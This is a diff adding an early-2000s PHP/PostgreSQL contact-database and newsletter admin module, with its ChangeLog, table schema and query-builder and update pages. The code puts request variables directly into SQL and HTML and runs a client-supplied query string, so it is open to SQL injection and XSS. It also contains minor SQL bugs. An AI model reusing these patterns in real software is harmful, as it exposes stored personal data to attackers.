+2001-10-11 14:34 matrix
+
+ * mailout.phtml: file mailout.phtml was initially added on branch
+ glm-Contact-2-0.
+
+2001-10-11 14:32 matrix
+
+ * list_contact.phtml, mailout.phtml: added autoresponder
+
+2001-09-25 10:14 matrix
+
+ * path.phtml: changed the path so we use one file
+
+2001-09-25 10:13 matrix
+
+ * contact.phtml: tr tag
+
+2001-07-02 14:29 matrix
+
+ * path.phtml: symplified the path files now this referes to the
+ main one in admin
+
+2001-06-22 08:55 matrix
+
+ * contact.phtml, contact.sql, edit_contact.phtml,
+ update_contact.phtml: adding field referred_by
+
+2001-06-19 08:50 matrix
+
+ * list_contact.phtml: no real change
+
+2001-06-19 08:49 matrix
+
+ * update_contact.phtml, edit_contact.phtml: modified for mailok
+
+2001-06-19 08:45 matrix
+
+ * list_contact.phtml: modified for errors on recalls
+
+2001-06-19 08:45 matrix
+
+ * edit_contact.phtml, update_contact.phtml: modified for mailok
+
+2001-06-18 10:08 matrix
+
+ * query_db.phtml: shop_query_db
+
+2001-06-18 10:08 matrix
+
+ * help/helpbg.gif: file helpbg.gif was initially added on branch
+ glm-Contact-shop-1-0.
+
+2001-06-18 10:08 matrix
+
+ * help/: closewindow.gif, contact.phtml, helpbg.gif: added images
+ to help folder
+
+2001-06-18 10:08 matrix
+
+ * help/closewindow.gif: file closewindow.gif was initially added on
+ branch glm-Contact-shop-1-0.
+
+2001-06-18 10:05 matrix
+
+ * query_contact.phtml: shop_query_db
+
+2001-06-18 10:04 matrix
+
+ * list_query.phtml: added nav links
+
+2001-06-18 10:03 matrix
+
+ * list_query.phtml: new shop query db
+
+2001-06-11 13:14 matrix
+
+ * list_contact.phtml: error correction
+
+2001-06-11 10:51 matrix
+
+ * list_contact.phtml: if there are no queries insert current
+
+2001-06-11 10:31 matrix
+
+ * list_contact.phtml: if there are no contacts html_error
+
+2001-06-11 10:18 matrix
+
+ * list_query.phtml: added nav to top of page
+
+2001-06-11 10:15 matrix
+
+ * help/contact.phtml: corrected paths to help images
+
+2001-06-08 09:17 matrix
+
+ * contact.sql: changing query table name to keep from messing up
+ other application
+
+2001-06-08 09:16 matrix
+
+ * help/contact.phtml: updateing help file
+
+2001-06-08 09:12 matrix
+
+ * contact.phtml: changed radio buttons on mail_ok to drop down
+
+2001-06-08 08:50 matrix
+
+ * list_contact.phtml: modified
+
+2001-06-08 08:46 matrix
+
+ * contact.phtml: made the mail_ok a drop down
+
+2001-06-07 14:54 matrix
+
+ * contact.phtml, list_contact.phtml, query_contact.phtml: updated
+ per gloriebe contactdb
+
+2001-06-07 14:06 matrix
+
+ * query_contact.phtml, help/contact.phtml: made changes for ereg
+ wildcards
+
+2001-06-06 15:51 matrix
+
+ * contact.phtml, contact.sql, edit_contact.phtml,
+ list_contact.phtml, query_contact.phtml, query_save.phtml,
+ update_contact.phtml: shop version
+
+2001-06-06 15:42 matrix
+
+ * main.css: added file
+
+2001-06-06 15:40 matrix
+
+ * report.rpt: "removed"
+
+2001-06-06 15:00 matrix
+
+ * contact.phtml, list_contact.phtml, query_contact.phtml,
+ update_contact.phtml, help/contact.phtml: worked out some bugs
+
+2001-06-06 13:41 matrix
+
+ * help/contact.phtml: changed path on images
+
+2001-06-06 13:38 matrix
+
+ * main.css: adding needed files
+
+2001-06-06 13:38 matrix
+
+ * main.css: file main.css was initially added on branch
+ glm-Contact-2-0.
+
+2001-06-05 11:17 matrix
+
+ * path.phtml: changed path to help
+
+2001-06-05 11:13 matrix
+
+ * path.phtml: changed path to help
+
+2001-06-05 10:45 matrix
+
+ * path.phtml: added path file
+
+2001-06-05 10:38 matrix
+
+ * contact.phtml, list_contact.phtml, query_contact.phtml: added
+ pipe and csv delimiter
+
+2001-05-31 12:43 matrix
+
+ * contact.phtml, contact.sql, contact_test.sql, del_query.phtml,
+ edit_contact.phtml, list_contact.phtml, list_query.phtml,
+ query_contact.phtml, query_db.phtml, query_save.phtml,
+ update_contact.phtml, help/contact.phtml: combining the contact
+ databases
+
+2001-04-04 13:42 matrix
+
+ * admin_constants.inc, index.html, list_cust_form.phtml,
+ list_customers.phtml, path.phtml, report.rpt,
+ shopping_cart_setup.inc, notes/adm2.sql, notes/guest.sql: Initial
+ revision
+
+2001-04-04 13:42 matrix
+
+ * admin_constants.inc, index.html, list_cust_form.phtml,
+ list_customers.phtml, path.phtml, report.rpt,
+ shopping_cart_setup.inc, notes/adm2.sql, notes/guest.sql: imported
+ sources
+
--- /dev/null
+All application setup stuff will be in contact_setup.phtml
+1) right now if you add to the $fields array you'll still have to change
+ edit_contact.phtml and update_contact.phtml
+2) contact.sql - contains the query to build the contact table and query_db table
--- /dev/null
+\connect - postgres
+
+CREATE TABLE "contact" (
+ "id" SERIAL,
+ "create_date" date,
+ "fname" text,
+ "lname" text,
+ "address" text,
+ "address2" text,
+ "city" text,
+ "state" text,
+ "zip" text,
+ "country" text,
+ "phone" text,
+ "fax" text,
+ "email" text,
+ "user_agent" text,
+ "remote_addr" text,
+ "mail_ok" boolean
+);
+
+REVOKE ALL on "contact" from PUBLIC;
+GRANT ALL on "contact" to "nobody";
+GRANT ALL on "contact" to "postgres";
+
+REVOKE ALL on "contact_id_seq" from PUBLIC;
+GRANT ALL on "contact_id_seq" to "nobody";
+GRANT ALL on "contact_id_seq" to "postgres";
+
+CREATE TABLE "query_db" (
+ "id" SERIAL,
+ "query_name" text,
+ "query" text,
+ "file" text,
+ "delimiter" text
+);
+
+REVOKE ALL on "query_db" from PUBLIC;
+GRANT ALL on "query_db" to "nobody";
+GRANT ALL on "query_db" to "postgres";
+
+REVOKE ALL on "query_db_id_seq" from PUBLIC;
+GRANT ALL on "query_db_id_seq" to "nobody";
+GRANT ALL on "query_db_id_seq" to "postgres";
+
+CREATE TABLE "news_response" (
+ "id" SERIAL,
+ "subject" text,
+ "response" text,
+ "image" text,
+ "image2" text,
+ "image3" text,
+ "mailout" date
+);
+
+REVOKE ALL on "news_response" from PUBLIC;
+GRANT ALL on "news_response" to "postgres";
+GRANT ALL on "news_response" to "nobody";
+
+INSERT INTO news_response (subject,response) values ('subject','response');
+
+CREATE UNIQUE INDEX contact_id_indx ON contact(id);
+CREATE INDEX contact_email_indx ON contact(email);
+CREATE INDEX contact_fname_indx ON contact(fname);
+CREATE INDEX contact_lname_indx ON contact(lname);
+CREATE INDEX contact_create_date_indx ON contact(create_date);
+CREATE UNIQUE INDEX news_response_id_indx ON contact(id);
+CREATE UNIQUE INDEX query_db_id_indx ON contact(id);
--- /dev/null
+<?
+include("../../setup.phtml");
+include("contact_setup.inc");
+//unset($data);
+/*
+ob_start();
+require(BASE."bottomlinks.inc");
+$data['bottomlinks'] = ob_get_contents();
+ob_end_clean();
+*/
+
+$query = "SELECT * FROM news_response WHERE id = 1";
+$res = db_auto_get_data($query, CONN_STR);
+$data['url'] = URL_BASE;
+$data['subject'] = $res[0]["subject"];
+$response = $res[0]["response"];
+$response = str_replace("IMAGE1","<!-- image -->",$response);
+$response = str_replace("IMAGE2","<!-- image2 -->",$response);
+$response = str_replace("IMAGE3","<!-- image3 -->",$response);
+$data['response'] = $response;
+$data['image'] = add_image($res[0]["image"],"right");
+$data['image2'] = add_image($res[0]["image2"],"left");
+$data['image3'] = add_image($res[0]["image3"],"right");
+
+$page = explode_template(NEWSLETTER_PROTOTYPE,$data);
+echo $page;
+?>
--- /dev/null
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+session_start();
+//$Id: query_contact.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+/* Includes */
+session_register("sess_vars");
+$sess_vars = $HTTP_POST_VARS;
+if(!isset($query_no)) {
+ /* The fields array is sent as a string
+ split it out using : as delimiter */
+ $fvalue = ereg_replace("^:","",$fvalue);
+ $fields = split(":",$fvalue);
+ $rfvalue = ereg_replace("^:","",$rfvalue);
+ $return_fields = split(":",$rfvalue);
+ $dates = ereg_replace("^:","",$rdvalue);
+ $dates = split(":",$dates);
+
+ if(!isset($search)) {
+ header("Location: index.phtml");
+ }
+ /* Chop off whitespaces spaces */
+ $search = chop(trim($search));
+ if($search == "")
+ $ALL = TRUE;
+
+ function getKeywords($keywords) {
+ /* Replace the whitespace with a , */
+ $keywords = ereg_replace(" ",",",$keywords);
+
+ while(ereg(",,",$keywords)) {
+ /* Replace the ,, with a , */
+ $keywords = ereg_replace(",,",",",$keywords);
+ }
+ $seperated = explode(",",$keywords);
+ /* Return exploded string */
+ return $seperated;
+ }
+
+ switch($search_type) {
+ case "1":
+ $keywords = $search;
+ $compare = "OR";
+ break;
+
+ case "2":
+ $keywords = getKeywords($search);
+ $compare = "AND";
+ break;
+
+ case "3":
+ $keywords = getKeywords($search);
+ $compare = "OR";
+ break;
+
+ case "4":
+ $keywords = getKeywords($search);
+ $compare = "AND";
+ $NOT = TRUE;
+ break;
+
+ default:
+ echo "not valid";
+ break;
+ }
+
+ if(is_array($keywords)) {
+ for($rip=0;$rip<count($keywords);$rip++) {
+ $keywords[$rip] = trim($keywords[$rip]);
+ /* if * is at the begging the replace with .* */
+ $keywords[$rip] = ereg_replace("[\x2a]",".*",$keywords[$rip]);
+ $keywords[$rip] = ereg_replace("[\x3f]",".?",$keywords[$rip]);
+ $keywords[$rip] = ereg_replace("[\x2b]",".+",$keywords[$rip]);
+ }
+ }
+ else {
+ $keywords = trim($keywords);
+ /* if * is at the begging the replace with .* */
+ $keywords = ereg_replace("[\x2a]",".*",$keywords);
+ $keywords = ereg_replace("[\x3f]",".?",$keywords);
+ $keywords = ereg_replace("[\x2b]",".+",$keywords);
+ }
+
+ switch($alter) {
+ /* $alter defines where to look in fields */
+ case "1":
+ $begin = "^";
+ $end = "";
+ break;
+
+ case "2":
+ $begin = "";
+ $end = " *$";
+ break;
+
+ default:
+ $begin = "";
+ $end = "";
+ break;
+ }
+
+ $operator = " ";
+ if($NOT) {
+ $operator .= "!~";
+ }
+ else {
+ $operator .= "~";
+ }
+ if($case == "OFF") {
+ $operator .= "*";
+ }
+ $operator .= " ";
+
+ /* finally, build the query string from string or array $keywords */
+ $query_string = "SELECT ".ID.",";
+ $totali = count($return_fields)-1;
+ for($i=0;$i<count($return_fields);$i++) {
+ $query_string .= $return_fields[$i];
+ if($i != $totali) {
+ $query_string .= ",";
+ }
+ if($i == 8) {
+ $query_string .= "\n";
+ }
+ }
+ $totald = count($dates)-1;
+ for($i=0;$i<count($dates);$i++) {
+ if($dates[$i] != " " && $dates[$i] != "") {
+ if($i == 0) {
+ $query_string .= ",";
+ }
+ }
+ $query_string .= $dates[$i];
+ if($i != $totald) {
+ $query_string .= ",";
+ }
+ }
+ if(!$ALL) {
+ $query_string .= "\nFROM\t".TABLE." \nWHERE\t".WHERE."\nAND\t";
+ $query_string .= "(";
+ for($b=0;$b<count($fields);$b++) {
+ $totalb = count($fields)-1;
+ if(is_array($keywords)) {
+ for($c=0;$c<count($keywords);$c++) {
+ $totalc = count($keywords)-1;
+ $query_string .= $fields[$b].$operator."'".
+ $begin.$keywords[$c].$end."'";
+ if($c != $totalc) {
+ $query_string .= " \n$compare\t";
+ }
+ }
+ }
+ else {
+ $query_string .= $fields[$b].$operator."'".
+ $begin.$keywords.$end."'";
+ }
+ if($b != $totalb) {
+ $query_string .= " \n$compare\t";
+ }
+ }
+ $query_string .= ")";
+ }
+ else {
+ $query_string .= "\nFROM\t".TABLE." \nWHERE\t".WHERE."\n";
+ }
+ if($mail_ok == "1") {
+ $query_string .= " AND mail_ok = 't'";
+ }
+ if($mail_ok == "0") {
+ $query_string .= " AND mail_ok = 'f'";
+ }
+ if($invitational == "1") {
+ $query_string .= " AND invitational = 't'";
+ }
+ if($invitational == "0") {
+ $query_string .= " AND invitational = 'f'";
+ }
+ if($social == "1") {
+ $query_string .= " AND social = 't'";
+ }
+ if($social == "0") {
+ $query_string .= " AND social = 'f'";
+ }
+ if(isset($fp_month)) {
+ $fp_str = mktime(0,0,0,$fp_month,$fp_day,$fp_year);
+ $tp_str = mktime(0,0,0,$tp_month,$tp_day,$tp_year);
+ $fa_str = mktime(0,0,0,$fa_month,$fa_day,$fa_year);
+ $ta_str = mktime(0,0,0,$ta_month,$ta_day,$ta_year);
+
+ if($fp_str<$tp_str) {
+ $fp_date = $fp_month."/".$fp_day."/".$fp_year;
+ $tp_date = $tp_month."/".$tp_day."/".$tp_year;
+ $query_string .= " AND purch_date >= '$fp_date'
+ AND purch_date < '$tp_date'";
+ }
+ if($fa_str<$ta_str) {
+ $fa_date = $fa_month."/".$fa_day."/".$fa_year;
+ $ta_date = $ta_month."/".$ta_day."/".$ta_year;
+ $query_string .= " AND access_date >= '$fa_date'
+ AND access_date < '$ta_date'";
+ }
+ if($fp_str>$tp_str) {
+ $fp_date = $fp_month."/".$fp_day."/".$fp_year;
+ $tp_date = $tp_month."/".$tp_day."/".$tp_year;
+ $query_string .= " AND purch_date < '$tp_date'";
+ }
+ if($fa_str>$ta_str) {
+ $fa_date = $fa_month."/".$fa_day."/".$fa_year;
+ $ta_date = $ta_month."/".$ta_day."/".$ta_year;
+ $query_string .= " AND access_date < '$ta_date'";
+ }
+ }
+ if(isset($fc_month)) {
+ $fc_str = mktime(0,0,0,$fc_month,$fc_day,$fc_year);
+ $tc_str = mktime(0,0,0,$tc_month,$tc_day,$tc_year);
+
+ if($fc_str<$tc_str) {
+ $fc_date = $fc_month."/".$fc_day."/".$fc_year;
+ $tc_date = $tc_month."/".$tc_day."/".$tc_year;
+ $query_string .= " AND create_date >= '$fc_date'
+ AND create_date < '$tc_date'";
+ }
+ if($fc_str>$tc_str) {
+ $fc_date = $fc_month."/".$fc_day."/".$fc_year;
+ $tc_date = $tc_month."/".$tc_day."/".$tc_year;
+ $query_string .= " AND create_date < '$tc_date'";
+ }
+ }
+}
+else {
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+ $qs = "SELECT query_name,query,delimiter,file
+ FROM query_db
+ WHERE id = $query_no";
+
+ if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ $query_name = $row[query_name];
+ $query_string = $row[query];
+ $file = $row[file];
+ $delimiter = $row[delimiter];
+}
+
+/* Thought the customer would like to see what's in the query */
+$showq = str_replace("SELECT","Return\n",$query_string);
+$showq = str_replace( "\nFROM\t".TABLE." \nWHERE\t".WHERE."\nAND\t",
+" \nfrom the contact database \nwhere ",$showq);
+$showq = str_replace( "\nFROM\t".TABLE." \nWHERE\t".WHERE."\n",
+" \nfrom the contact database",$showq);
+$showq = str_replace("fname","first name",$showq);
+$showq = str_replace("cust_id,","",$showq);
+$showq = str_replace("lname","last name",$showq);
+$showq = str_replace("!~*","does not contain",$showq);
+$showq = str_replace("!~","does not contain",$showq);
+$showq = str_replace("~*","contains",$showq);
+$showq = str_replace("~","is in",$showq);
+$showq = str_replace("does not contain '^"," does not start with ",$showq);
+$showq = str_replace("contains '^"," starts with ",$showq);
+$showq = str_replace("is in '^"," starts with ",$showq);
+$showq = str_replace("$"," in the ending ",$showq);
+$showq = str_replace("OR","or",$showq);
+$showq = str_replace("AND","and",$showq);
+$showq = str_replace("'","",$showq);
+if(!$ALL) {
+ if($case == "OFF") {
+ $showq .= "\n(case insensitive match)";
+ } else {
+ $showq .= "\n(case sensitive match)";
+ }
+}
+if(isset($file) && $file != "") {
+ $showq .= "\noutput 1 file in ";
+ if($file == "rpt") {
+ $showq .= "text";
+ }elseif($file == "gz") {
+ $showq .= "tar ball";
+ }else {
+ $showq .= "zip";
+ }
+ if($delimiter == "csv")
+ $showq .= " format using ".$delimiter;
+ else
+ $showq .= " format using ".$delimiter." as delimiter";
+}
+$showq .= ".";
+
+
+$query = addslashes($query_string);
+
+top("QUERY BUILDER PAGE","");
+html_nav_table($nav,$navWidth);
+?>
+<script src="<?echo URL_BASE."admin/wm.js"?>"></script>
+<script src="<?echo URL_BASE."admin/msg.js"?>"></script>
+
+<table bgcolor="#e0e0e0" width=500 cellpadding=4 cellspacing=0 border=0>
+<tr>
+ <th bgcolor="#2f4f4f" class="theader">
+ Submit Query
+ </th>
+ </tr>
+ <tr>
+ <td><a href="index.phtml">Go Back to Query page</a></td>
+ </tr>
+ <tr>
+ <td>
+ <?echo nl2br($showq)?>
+ <br>
+ <?if(isset($query_name)) {
+ echo "Query ".$query_name." Recalled";
+ }?>
+
+ <form action="list_contact.phtml" method="POST">
+ <input type="hidden" name="delimiter" value="<?echo $delimiter?>">
+ <input type="hidden" name="file" value="<?echo $file?>">
+ <input type="hidden" name="query_string" value="<?echo $query_string?>">
+ <input type="hidden" name="Submit" value="Submit Query">
+ <center>
+ <input type="submit" value="Send Query">
+ </form>
+ </center>
+ </td>
+ </tr>
+</table>
+<script lang="javascript">
+ var o_save = new Object();
+ o_save.url = 'query_save.phtml';
+ o_save.name = 'savewin';
+ o_save.width = 510;
+ o_save.height = 150;
+</script>
+<table bgcolor="#e0e0e0" width=500 cellpadding=4 cellspacing=0 border=0>
+ <tr>
+ <th bgcolor="#2f4f4f" class="theader">
+ Do you wish to save this query for future use?
+ </th>
+ </tr>
+ <tr>
+ <td>
+ <a href="" onClick="
+ glm_open(o_save);
+ return(false);
+ ">Save This Query</a>
+ </td>
+</tr>
+</table>
+
+<?
+/* Save the query with (current) as query_name */
+if(!$dbd = db_connect()) html_error("Cant connect",0);
+
+$qs = "SELECT id
+ FROM query_db
+ WHERE query_name = '(current)'";
+
+if(!$res = @db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+if(!$row = @db_fetch_array($res,0,PGSQL_ASSOC)) {
+ $qs = "INSERT
+ INTO query_db
+ (query_name,query,file,delimiter)
+ VALUES ('(current)','$query','$file','$delimiter')";
+}
+else {
+ $qs = "UPDATE query_db
+ SET query = '$query',
+ file = '$file',
+ delimiter = '$delimiter'
+ WHERE id = $row[id]";
+}
+@db_close($dbd);
+
+if(!db_auto_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+footer();
+?>
--- /dev/null
+<?php
+//$Id: query_db.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+if(!isset($file)) $file = "";
+if(!isset($delimiter)) $delimiter = "";
+
+$qs = "UPDATE query_db
+ SET query_name = '$query_name'
+ WHERE query_name = '(current)'";
+
+if(!db_auto_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+
+$qs = "INSERT
+ INTO query_db (query_name,query,file,delimiter)
+ (select '(current)',query,file,delimiter from query_db where query_name = '$query_name')";
+if(!db_auto_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+html_header("Saving Query","Saved","");
+?>
+Query is saved as <?echo $query_name?>
+<center><a href="" onClick="window.close();return(false);">Close This
+Window</a></center>
--- /dev/null
+<?
+//$Id: query_save.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+?>
+<html>
+<body bgcolor=white>
+<table bgcolor="#e0e0e0" width=500 cellpadding=4 cellspacing=0 border=0>
+ <tr>
+ <th bgcolor="#2f4f4f" class="theader">
+ Do you wish to save this query for future use?
+ </th>
+ </tr>
+ <tr>
+ <td>Name of query
+
+ <form name="form2" action="query_db.phtml" method="POST">
+ <input type="hidden" name="query" value="<?echo $query_string?>">
+ <input type="hidden" name="delimiter" value="<?echo $delimiter?>">
+ <input type="hidden" name="file" value="<?echo $file?>">
+ <input name="query_name">
+ <input type="submit" name="Submit" value="Save">
+ </form>
+ </td>
+</tr>
+</table>
+</body>
+</html>
--- /dev/null
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+ switch($Command) {
+
+ case "Update":
+
+ $dbd = db_connect(CONN_STR);
+
+ if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+ if( $image == '' ) $image = 'none';
+ if( $image2== '' ) $image2= 'none';
+ if( $image3== '' ) $image3= 'none';
+
+
+ if ($image == 'none' || $delimage == 'TRUE')
+ $img_upload = 'FALSE';
+ else
+ $img_upload = 'TRUE';
+
+ if ($image2 == 'none' || $delimage2 == 'TRUE')
+ $img_upload2 = 'FALSE';
+ else
+ $img_upload2 = 'TRUE';
+
+ if ($image3 == 'none' || $delimage3 == 'TRUE')
+ $img_upload3 = 'FALSE';
+ else
+ $img_upload3 = 'TRUE';
+
+ if ($img_upload == 'TRUE')
+ {
+ $image_name = process_image($image,$image_name);
+// $image_upload_array = img_upload($image,$image_name,ORIGINAL_PATH);
+// img_resize($image_upload_array[1],ORIGINAL_PATH.$image_upload_array[0],"'600>'");
+// img_resize($image_upload_array[1],RESIZED_PATH.$image_upload_array[0],"'250>'");
+// img_resize($image_upload_array[1],MIDSIZED_PATH.$image_upload_array[0],"'191>'");
+// img_resize($image_upload_array[1],THUMB_PATH.$image_upload_array[0],"'100>'");
+// $image_name = $image_upload_array[0];
+
+ if($oldimage != '')
+ {
+ @unlink(IMAGE_PATH."/$oldimage");
+ @unlink(RESIZED_PATH."/$oldimage");
+ @unlink(MIDSIZED_PATH."/$oldimage");
+ @unlink(THUMB_PATH."/$oldimage");
+ }
+ }
+ elseif ($img_upload == 'FALSE')
+ {
+ if($delimage == 'TRUE')
+ {
+ @unlink(IMAGE_PATH."/$oldimage");
+ @unlink(RESIZED_PATH."/$oldimage");
+ @unlink(MIDSIZED_PATH."/$oldimage");
+ @unlink(THUMB_PATH."/$oldimage");
+ $image_name = '';
+ }
+ else
+ {
+ $image_name = $oldimage;
+ }
+ }
+
+ // ***IMAGE TWO***
+
+ if ($img_upload2 == 'TRUE')
+ {
+ $image2_name = process_image($image2,$image2_name);
+// $image2_upload_array = img_upload($image2,$image2_name,ORIGINAL_PATH);
+// img_resize($image2_upload_array[1],ORIGINAL_PATH.$image2_upload_array[0],"'600>'");
+// img_resize($image2_upload_array[1],RESIZED_PATH.$image2_upload_array[0],"'250>'");
+// img_resize($image2_upload_array[1],MIDSIZED_PATH.$image2_upload_array[0],"'191>'");
+// img_resize($image2_upload_array[1],THUMB_PATH.$image2_upload_array[0],"'100>'");
+// $image2_name = $image2_upload_array[0];
+
+ if($oldimage2 != '')
+ {
+ @unlink(IMAGE_PATH."/$oldimage2");
+ @unlink(RESIZED_PATH."/$oldimage2");
+ @unlink(MIDSIZED_PATH."/$oldimage2");
+ @unlink(THUMB_PATH."/$oldimage2");
+ }
+ }
+ elseif ($img_upload2 == 'FALSE')
+ {
+ if($delimage2 == 'TRUE')
+ {
+ @unlink(IMAGE_PATH."/$oldimage2");
+ @unlink(RESIZED_PATH."/$oldimage2");
+ @unlink(MIDSIZED_PATH."/$oldimage2");
+ @unlink(THUMB_PATH."/$oldimage2");
+ $image2_name = '';
+ }
+ else
+ {
+ $image2_name = $oldimage2;
+ }
+ }
+
+
+ // ***IMAGE THREE***
+
+ if ($img_upload3 == 'TRUE')
+ {
+ $image3_name = process_image($image3,$image3_name);
+// $image3_upload_array = img_upload($image3,$image3_name,ORIGINAL_PATH);
+// img_resize($image3_upload_array[1],ORIGINAL_PATH.$image3_upload_array[0],"'600>'");
+// img_resize($image3_upload_array[1],RESIZED_PATH.$image3_upload_array[0],"'250>'");
+// img_resize($image3_upload_array[1],MIDSIZED_PATH.$image3_upload_array[0],"'191>'");
+// img_resize($image3_upload_array[1],THUMB_PATH.$image3_upload_array[0],"'100>'");
+// $image3_name = $image3_upload_array[0];
+
+ /*
+ $image_upload_array3 = img_upload($image3,$image3_name,BASE . "images/");
+ img_resize($image_upload_array3[1],RESIZED_PATH."/$image_upload_array3[0]",'a', "320");
+ img_resize($image_upload_array3[1],MIDSIZED_PATH."/$image_upload_array3[0]",'a',"180");
+ img_resize($image_upload_array3[1],THUMB_PATH."/$image_upload_array3[0]",'a',"90");
+ $image3_name = $image_upload_array3[0];
+ */
+
+ if($oldimage3 != '')
+ {
+ @unlink(IMAGE_PATH."/$oldimage3");
+ @unlink(RESIZED_PATH."/$oldimage3");
+ @unlink(MIDSIZED_PATH."/$oldimage3");
+ @unlink(THUMB_PATH."/$oldimage3");
+ }
+ }
+ elseif ($img_upload3 == 'FALSE')
+ {
+ if($delimage3 == 'TRUE')
+ {
+ @unlink(IMAGE_PATH."/$oldimage3");
+ @unlink(RESIZED_PATH."/$oldimage3");
+ @unlink(MIDSIZED_PATH."/$oldimage3");
+ @unlink(THUMB_PATH."/$oldimage3");
+ $image3_name = '';
+ }
+ else
+ {
+ $image3_name = $oldimage3;
+ }
+ }
+
+ $qs = "UPDATE news_response
+ SET subject = '$subject',
+ response = '$response',
+ image = '$image_name',
+ image2 = '$image2_name',
+ image3 = '$image3_name'
+ WHERE id = $id";
+
+ if(!db_exec($dbd,$qs)) html_error("failed ->".$qs,1);
+
+ $location = "view_newsletter.phtml?catid=1";
+
+ break;
+
+ case "Insert":
+ $dbd = db_connect(CONN_STR);
+
+ if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+ $qs = "INSERT INTO news_response
+ (subject,response, image.image2,image3)
+ VALUES
+ ('$subject','$response','$image','$image2','$image3')";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+
+ $location = "list_news.phtml?catid=1";
+
+ break;
+
+ case "Cancel":
+ $location = "list_news.phtml?catid=1";
+ break;
+
+ default:
+ html_error("incorrect value for Command",1);
+ break;
+ }
+
+header("Location: $location");
+?>
--- /dev/null
+<?php
+//$Id: update_contact.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+$location = "list_contact.phtml?back=1";
+
+if(is_array($interest)){
+$interest = "";
+for($i=0;$i<12;$i++)
+ {
+ $temp = "interest_".$i;
+ if($$temp)
+ $interest .= $$temp.":";
+ }
+$interest = substr($interest,0,strlen($interest)-1);
+}
+http_strip($url);
+
+$LAST = count($DB_fields)-1;
+if($REQUEST_METHOD == "POST" || $Command == "Delete")
+ {
+ switch($Command)
+ {
+ case "Update":
+ for($i=0;$i<count($DB_fields);$i++)
+ {
+ if($DB_fields[$i][type]=="img")
+ {
+ $tmp = $DB_fields[$i]['name'];
+ $image = $$tmp;
+ $oldimage = ${$tmp."_old"};
+ $image_name = ${$tmp."_name"};
+ if($image == "none" || $image == "")
+ {
+ $image_name = $oldimage;
+ }
+ else
+ {
+ $image_name = process_image($image,$image_name);
+ }
+ $delete = ${"delete".$tmp};
+ if($delete==1)
+ {
+ $image_name = "";
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+ }
+ }
+ }
+ $DB_fields = array_reverse($DB_fields);
+ $qs = "UPDATE ".TABLE." SET ";
+ for($i=0;$i<count($DB_fields);$i++)
+ {
+ if($DB_fields[$i][type]=="date")
+ {
+ $month = $DB_fields[$i][name]."_month";
+ $day = $DB_fields[$i][name]."_day";
+ $year = $DB_fields[$i][name]."_year";
+ $date = date("Y-m-d H:i:s T",mktime(0,0,0,$$month,$$day,$$year));
+ $qs .= $DB_fields[$i][name]." = '$date'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($DB_fields[$i][type]=="datetime")
+ {
+ $month = $DB_fields[$i][name]."_month";
+ $day = $DB_fields[$i][name]."_day";
+ $year = $DB_fields[$i][name]."_year";
+ $H = $DB_fields[$i][name]."_hour";
+ $mm = $DB_fields[$i][name]."_mm";
+ if($$mm == "PM")
+ $$H = $$H + 12;
+ $m = $DB_fields[$i][name]."_min";
+ $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+ $qs .= $DB_fields[$i][name]." = '$date'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($DB_fields[$i][name]!=ID)
+ {
+ if($DB_fields[$i][type]=="img")
+ {
+ $qs .= $DB_fields[$i][name]." = '".$image_name."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($DB_fields[$i][type]=="static")
+ {
+ }
+ elseif($DB_fields[$i][type]=="password")
+ {
+ if(($password && $password2) && ($password == $password2))
+ {
+ $qs .= $DB_fields[$i][name]." = '".$$DB_fields[$i][name]."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ }
+ else
+ {
+ $qs .= $DB_fields[$i][name]." = '".$$DB_fields[$i][name]."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ }
+ else
+ {
+ $qs = substr($qs,0,strlen($qs)-1);
+ $qs .= " WHERE ".$DB_fields[$i][name]." = ".$$DB_fields[$i][name];
+ }
+ }
+ $DB_fields = array_reverse($DB_fields);
+ if(!db_auto_exec($qs))
+ $ERRORS .= pg_errormessage($dbd).$qs;
+
+ break;
+
+ case "Insert":
+ $create_date = date("m-d-Y");
+ for($i=0;$i<count($DB_fields);$i++)
+ {
+ if($DB_fields[$i][type]=="img")
+ {
+ $tmp = $DB_fields[$i]['name'];
+ $image = $$tmp;
+ $image_name = ${$tmp."_name"};
+ if($image == "none" || $image == "")
+ {
+ $image_name = $oldimage;
+ }
+ else
+ {
+ $image_name = process_image($image,$image_name);
+ }
+ }
+ }
+ $tmp = "";
+ $tmp_value = "";
+ for($i=0;$i<count($DB_fields);$i++)
+ {
+ if($DB_fields[$i][name]!=ID)
+ {
+ if($DB_fields[$i][type]!="static")
+ {
+ $tmp .= $DB_fields[$i][name];
+ $tmp .= ",";
+ }
+ }
+ }
+ for($i=0;$i<count($DB_fields);$i++)
+ {
+ if($DB_fields[$i][type]=="date")
+ {
+ $month = $DB_fields[$i][name]."_month";
+ $day = $DB_fields[$i][name]."_day";
+ $year = $DB_fields[$i][name]."_year";
+ $date = date("Y-m-d H:i:s T",mktime(0,0,0,$$month,$$day,$$year));
